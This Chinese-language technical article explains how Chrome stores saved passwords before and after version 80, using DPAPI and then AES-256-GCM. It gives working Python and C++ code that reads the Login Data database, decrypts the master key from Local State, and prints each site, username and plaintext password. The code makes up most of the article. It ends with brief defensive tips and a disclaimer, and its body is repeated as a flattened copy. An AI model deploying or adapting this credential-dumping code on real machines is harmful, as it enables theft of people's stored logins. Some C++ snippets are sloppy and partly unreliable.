c++实现抓取所有版本Chrome存储的密码
字数 1330 2025-08-05 08:19:10

Chrome浏览器密码存储与解密技术详解

1. Chrome密码存储机制概述

谷歌浏览器提供自动保存密码功能,这些密码经过加密后存储在本地。加密机制在不同版本中有显著差异:

  • 80版本之前:使用Windows DPAPI直接加密
  • 80版本之后:采用AES-256-GCM加密,密钥由DPAPI保护

2. Windows DPAPI简介

DPAPI(Data Protection Application Programming Interface)是Windows提供的数据保护接口:

  • 用户态接口,无需实现加解密代码
  • 提供高质量加解密算法
  • 密钥推导和存储透明化
  • 主要接口:
    • CryptProtectData - 加密数据
    • CryptUnprotectData - 解密数据

3. 80版本前的Chrome密码解密(版本<80)

3.1 存储位置

密码存储在SQLite数据库中:

%LocalAppData%\Google\Chrome\User Data\Default\Login Data

3.2 数据库结构

使用SQLiteStudio可查看logins表,包含:

  • action_url - 网站URL
  • username_value - 用户名
  • password_value - 加密的密码

3.3 Python解密示例

from os import getenv
import sqlite3
import win32crypt

conn = sqlite3.connect(getenv("APPDATA") + "\..\Local\Google\Chrome\User Data\Default\Login Data")
cursor = conn.cursor()
cursor.execute('SELECT action_url, username_value, password_value FROM logins')
for result in cursor.fetchall():
    password = win32crypt.CryptUnprotectData(result[2], None, None, None, 0)[1]
    if password:
        print('Site: ' + result[0])
        print('Username: ' + result[1])
        print('Password: ' + password)

3.4 C++实现要点

  1. 配置SQLite3环境
  2. 复制数据库文件(因Chrome使用时锁定原文件)
  3. 执行SQL查询SELECT action_url, username_value, password_value FROM logins
  4. 使用CryptUnprotectData解密密码

4. 80版本后的Chrome密码解密(版本≥80)

4.1 加密机制变化

  • 加密数据前缀为"v10"或"v11"
  • 使用AES-256-GCM加密算法
  • 密钥存储在:
    %LocalAppData%\Google\Chrome\User Data\Local State
    
    os_crypt.encrypted_key字段中

4.2 加密结构

v10 [12字节NONCE/IV] [密文]

参数说明:

  • NONCE/IV:12字节,确保相同明文加密结果不同
  • 密钥长度:32字节
  • 加密算法:AES-256-GCM(AEAD对称加密)

4.3 密钥获取流程

  1. 从Local State文件提取os_crypt.encrypted_key
  2. Base64解码
  3. 去除前5个字符"DPAPI"
  4. 使用DPAPI解密得到最终密钥

4.4 C++实现关键代码

获取原始密钥

string GetOriginalkey() {
    string Decoded = "";
    // 获取Local State中的未解密key
    string key = "RFBBUEkBAAAA0Iyd3wEV0RGMegDAT8KX6wEAAADWXmStECIlTZZxWMAYf5UmAAAAAAIAAAAAABBmAAAAAQAAIAAAAP8V1h3J1qhN1Hks1TbInimvYa0TnMfPa0j.WLC2oU3TkysoXmUAAAAAtPkLwNaInulyoGNH4GDxlwbzAW4DP7T8XWsZ/2QB0YrcLqxSNytHlV1qvVyO8D20Eu7jKqD/bMW2MzwEa40iF";
    
    StringSource((BYTE*)key.c_str(), key.size(), true, new Base64Decoder(new StringSink(Decoded)));
    key = Decoded;
    key = key.substr(5); // 去除首位5个字符DPAPI
    Decoded.clear();
    
    // DPAPI解密
    int i;
    char result[1000] = "";
    DATA_BLOB DataOut = {0};
    DATA_BLOB DataVerify = {0};
    DataOut.pbData = (BYTE*)key.c_str();
    DataOut.cbData = 1000;
    
    if(!CryptUnprotectData(&DataOut, nullptr, NULL, NULL, NULL, 0, &DataVerify)) {
        printf("[!] Decryption failure: %d\n", GetLastError());
    } else {
        printf("[+] Decryption successfully!\n");
        for(i=0; i<DataVerify.cbData; i++) {
            result[i] = DataVerify.pbData[i];
        }
    }
    return result;
}

版本判断与解密

string e_str = argv[2];
// 判断密文是否包含v10或v11
if(strstr(e_str.c_str(), "v10") != NULL || strstr(e_str.c_str(), "v11") != NULL) {
    NewDecrypt(argc, argv, azColName);
} else {
    DecryptoByDPAPI(argv, azColName);
}

解密密文

// 获取iv和密文
chiper = argv[2];
iv = argv[2];
iv = iv.substr(3, 15); // 获取iv的值
chiper = chiper.substr(15); // 加密密码的值

// 获取iv hex编码值
StringSource((BYTE*)iv.c_str(), iv.size(), true, new HexEncoder(new StringSink(Encoded)));
iv = Encoded;
Encoded.clear();
iv = iv.substr(0, iv.size()-6);

CHAR Pass_Word[1000] = {0};
StringSource((BYTE*)iv.c_str(), iv.size(), true, new HexDecoder(new StringSink(Decoded)));
iv = Decoded;
Decoded.clear();

char* key = GetOriginalkey();
d.SetKeyWithIV((BYTE*)key, 32, (BYTE*)iv.c_str(), iv.size());
StringSource(chiper, true, new AuthenticatedDecryptionFilter(d, new StringSink(password)));

for(int i=0; i<password.size(); i++) {
    Pass_Word[i] = password[i];
}

printf("%s = %s\n", azColName[0], argv[0] ? argv[0] : "NULL");
printf("%s = %s\n", azColName[1], argv[1] ? argv[1] : "NULL");
printf("%s = %s\n", azColName[2], Pass_Word);

5. 技术要点总结

  1. 版本识别:检查密码值前缀是否为"v10"或"v11"
  2. 密钥获取
    • 从Local State文件获取加密密钥
    • Base64解码后去除"DPAPI"前缀
    • 使用DPAPI解密得到AES密钥
  3. 密码解密
    • 提取12字节IV/NONCE
    • 使用AES-256-GCM算法解密
  4. 工具依赖
    • SQLite3库 - 读取数据库
    • Cryptopp库 - AES解密
    • Windows DPAPI - 密钥解密

6. 防御建议

  1. 使用主密码保护Chrome存储的密码
  2. 定期清理已保存的密码
  3. 对敏感设备实施物理安全措施
  4. 使用专业密码管理器而非浏览器内置功能

7. 法律与道德声明

本文所述技术仅供安全研究和学习使用。未经授权访问他人计算机系统或数据是违法行为。在实际应用中,请确保遵守所有适用法律法规。

Chrome浏览器密码存储与解密技术详解 1. Chrome密码存储机制概述 谷歌浏览器提供自动保存密码功能,这些密码经过加密后存储在本地。加密机制在不同版本中有显著差异: 80版本之前 :使用Windows DPAPI直接加密 80版本之后 :采用AES-256-GCM加密,密钥由DPAPI保护 2. Windows DPAPI简介 DPAPI(Data Protection Application Programming Interface)是Windows提供的数据保护接口: 用户态接口,无需实现加解密代码 提供高质量加解密算法 密钥推导和存储透明化 主要接口: CryptProtectData - 加密数据 CryptUnprotectData - 解密数据 3. 80版本前的Chrome密码解密(版本 <80) 3.1 存储位置 密码存储在SQLite数据库中: 3.2 数据库结构 使用SQLiteStudio可查看 logins 表,包含: action_url - 网站URL username_value - 用户名 password_value - 加密的密码 3.3 Python解密示例 3.4 C++实现要点 配置SQLite3环境 复制数据库文件(因Chrome使用时锁定原文件) 执行SQL查询 SELECT action_url, username_value, password_value FROM logins 使用 CryptUnprotectData 解密密码 4. 80版本后的Chrome密码解密(版本≥80) 4.1 加密机制变化 加密数据前缀为"v10"或"v11" 使用AES-256-GCM加密算法 密钥存储在: 的 os_crypt.encrypted_key 字段中 4.2 加密结构 参数说明: NONCE/IV:12字节,确保相同明文加密结果不同 密钥长度:32字节 加密算法:AES-256-GCM(AEAD对称加密) 4.3 密钥获取流程 从Local State文件提取 os_crypt.encrypted_key 值 Base64解码 去除前5个字符"DPAPI" 使用DPAPI解密得到最终密钥 4.4 C++实现关键代码 获取原始密钥 版本判断与解密 解密密文 5. 技术要点总结 版本识别 :检查密码值前缀是否为"v10"或"v11" 密钥获取 : 从Local State文件获取加密密钥 Base64解码后去除"DPAPI"前缀 使用DPAPI解密得到AES密钥 密码解密 : 提取12字节IV/NONCE 使用AES-256-GCM算法解密 工具依赖 : SQLite3库 - 读取数据库 Cryptopp库 - AES解密 Windows DPAPI - 密钥解密 6. 防御建议 使用主密码保护Chrome存储的密码 定期清理已保存的密码 对敏感设备实施物理安全措施 使用专业密码管理器而非浏览器内置功能 7. 法律与道德声明 本文所述技术仅供安全研究和学习使用。未经授权访问他人计算机系统或数据是违法行为。在实际应用中,请确保遵守所有适用法律法规。